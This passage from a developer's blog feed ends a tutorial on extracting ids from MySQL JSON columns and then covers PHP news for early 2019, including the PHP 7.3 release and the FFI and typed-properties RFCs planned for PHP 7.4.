&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
    &quot;name&quot;: &quot;FooEvent&quot;,
    &quot;id&quot;: &quot;87dd4f31-664a-4059-a3fc-6472231530e4&quot;,
    ...
},
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;step-4---get-the-id-attribute-from-the-event-object&quot;&gt;Step 4 - Get the id attribute from the event object&lt;/h3&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; 
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json_unquote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_searh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$[*].name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;TRAILING&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'.name'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json_extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;json_extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$.id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event_id&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;my_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You would get back list of results similar to:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;87dd4f31-664a-4059-a3fc-6472231530e4&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Keep in mind that this is also a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;json string&lt;/code&gt; so you have to unquote it:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; 
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json_unquote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_searh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$[*].name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;TRAILING&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'.name'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json_extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;json_unquote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$.id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event_id&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;my_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You would get back list of results similar to:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;87dd4f31-664a-4059-a3fc-6472231530e4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;pages-that-helped-me&quot;&gt;Pages that helped me&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://database.guide/json_search-find-the-path-to-a-string-in-a-json-document-in-mysql/&quot;&gt;Guide to using json_search&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="mysql" /><category term="mysql" /><category term="json" /><summary type="html">Imagine you have a json column in your MySQL table and that column contains a list of objects. In this example, my list will contain events that have a name, an id and other arbitrary data:</summary></entry><entry><title type="html">What’s new in PHP land? - Q1 2019</title><link href="https://ndench.github.io/brisphp/whats-new-in-php-q1-2019" rel="alternate" type="text/html" title="What’s new in PHP land? - Q1 2019" /><published>2019-01-30T00:00:00+10:00</published><updated>2019-01-30T00:00:00+10:00</updated><id>https://ndench.github.io/brisphp/whats-new-in-php-q1-2019</id><content type="html" xml:base="https://ndench.github.io/brisphp/whats-new-in-php-q1-2019">&lt;p&gt;I co-organise the &lt;a href=&quot;https://www.meetup.com/BrisPHP/&quot;&gt;BrisPHP Meetup&lt;/a&gt;
and at the start of every meetup I give a quick talk on recent news and 
other interesting things that have been happening in the PHP world.
The biggest news recently is the release of PHP 7.3 and development of 7.4!&lt;/p&gt;

&lt;h2 id=&quot;php-versions&quot;&gt;PHP versions&lt;/h2&gt;

&lt;p&gt;Let’s start with a quick look at PHP version usage stats courtesy of 
&lt;a href=&quot;https://blog.packagist.com/php-versions-stats-2018-2-edition/&quot;&gt;Jrodi Boggiano&lt;/a&gt;
from packagist:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-version-stats-2018-11.png&quot; alt=&quot;PHP Version Usage&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see that PHP 7.2 is the most popular version and 84% of projects are using PHP 7+, that’s
amazing!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-versions-over-time-2018-11.png&quot; alt=&quot;PHP Versions Over Time&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can also see that PHP 7.2 was picked up just as quickly as every other new version that was
released, while the old versions continue to decline steadily.&lt;/p&gt;

&lt;h3 id=&quot;end-of-support&quot;&gt;End of support&lt;/h3&gt;

&lt;p&gt;PHP 5.6 and 7.0 are no longer supported. Not even with security fixes. So if you’re still using
these versions, getting off them should be priority #1! Here we can see that 7.1 is currently in
security support until the end of the year, while 7.2 and 7.3 still have a while to go:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-version-support-2019-01.png&quot; alt=&quot;PHP Supported Versions&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you’re struggling to upgrade your codebase, whether it be a PHP version or a framework version,
you should definitely take a look at &lt;a href=&quot;https://github.com/RectorPHP/Rector&quot;&gt;rector&lt;/a&gt; which can
automatically refactor and upgrade your code base for you.&lt;/p&gt;

&lt;h2 id=&quot;php-73-was-released&quot;&gt;PHP 7.3 was released&lt;/h2&gt;

&lt;p&gt;PHP 7.3 was &lt;a href=&quot;http://php.net/releases/7_3_0.php&quot;&gt;released in December&lt;/a&gt; and comes with a few cool new
features which I’ve already been over in &lt;a href=&quot;/brisphp/brisphp-news-q3-2018#new-features-in-73&quot;&gt;Q2&lt;/a&gt;
and &lt;a href=&quot;/brisphp/brisphp-news-q2-2018#whats-on-the-way-for-php-73&quot;&gt;Q3&lt;/a&gt; news last year.
But here’s the final list:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Flexible Heredoc and Nowdoc Syntax&lt;/li&gt;
  &lt;li&gt;The regex extension (PCRE) has been upgrade to PCRE2&lt;/li&gt;
  &lt;li&gt;More multibyte string functions to convert the case of strings&lt;/li&gt;
  &lt;li&gt;More support for LDAP controls&lt;/li&gt;
  &lt;li&gt;Better logging for PHP FPM&lt;/li&gt;
  &lt;li&gt;Better file deletion on Windows&lt;/li&gt;
  &lt;li&gt;Deprecated features - mostly undocumented features or edge cases you shouldn’t be doing anyway&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are a handful of backwards incompatible changes in 7.3, most of which are for relatively
unused functions so most people should be able to upgrade without any problems. Check the &lt;a href=&quot;https://github.com/php/php-src/blob/PHP-7.3/UPGRADING&quot;&gt;upgrade
guide&lt;/a&gt; for help.&lt;/p&gt;

&lt;h2 id=&quot;php-74-in-development&quot;&gt;PHP 7.4 in development&lt;/h2&gt;

&lt;p&gt;So far, there have been a handful of RFC’s accepted for PHP 7.4. Originally meant to only add
deprecations to prepare for 8.0, we now get some exciting new features.
&lt;a href=&quot;https://stitcher.io/blog/new-in-php-74&quot;&gt;stitcccher.io&lt;/a&gt; provides a great up-to-date overview of the
new features.&lt;/p&gt;

&lt;h3 id=&quot;foreign-function-interface&quot;&gt;Foreign Function Interface&lt;/h3&gt;

&lt;p&gt;A foreign function interface allows calling C functions and data types from PHP. It’s modelled after
a similar feature in both Python and Lua and will allow PHP extensions to be written in PHP, albeit
with a lot of C code in what is essentially a HEREDOC.
Here’s an example from the &lt;a href=&quot;https://wiki.php.net/rfc/ffi&quot;&gt;rfc&lt;/a&gt; that shows defining some C structs,
and calling a C function:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// create gettimeofday() binding&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ffi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;FFI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;cdef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;
    typedef unsigned int time_t;
    typedef unsigned int suseconds_t;
 
    struct timeval {
        time_t      tv_sec;
        suseconds_t tv_usec;
    };
 
    struct timezone {
        int tz_minuteswest;
        int tz_dsttime;
    };
 
    int gettimeofday(struct timeval *tv, struct timezone *tz);    
&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;libc.so.6&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// create C data structures&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$tv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ffi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;struct timeval&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$tz&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ffi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;struct timezone&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// calls C gettimeofday()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ffi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;gettimeofday&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;FFI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$tv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;FFI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$tz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)));&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// access field of C data structure&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$tv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tv_sec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// print the whole C data structure&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$tz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;typed-properties-v2&quot;&gt;Typed properties V2&lt;/h3&gt;

&lt;p&gt;Typed properties has been propesed and rejected before, but along came version 2 of the proposal,
fixing up the issues raised the first time around, it has now been accepted for PHP 7.4. Here’s an
example from &lt;a href=&quot;https://wiki.php.net/rfc/typed_properties_v2&quot;&gt;the rfc&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;What type-safe code currently looks like:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/** @var int $id */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/** @var string $name */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What it will look like with typed properties:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No longer will we have to make every single property private. Of course if you want some business 
logic around setting the value, then it will need to be private.&lt;/p&gt;

&lt;h3 id=&quot;null-coalescing-assignment-operator&quot;&gt;Null coalescing assignment operator&lt;/h3&gt;

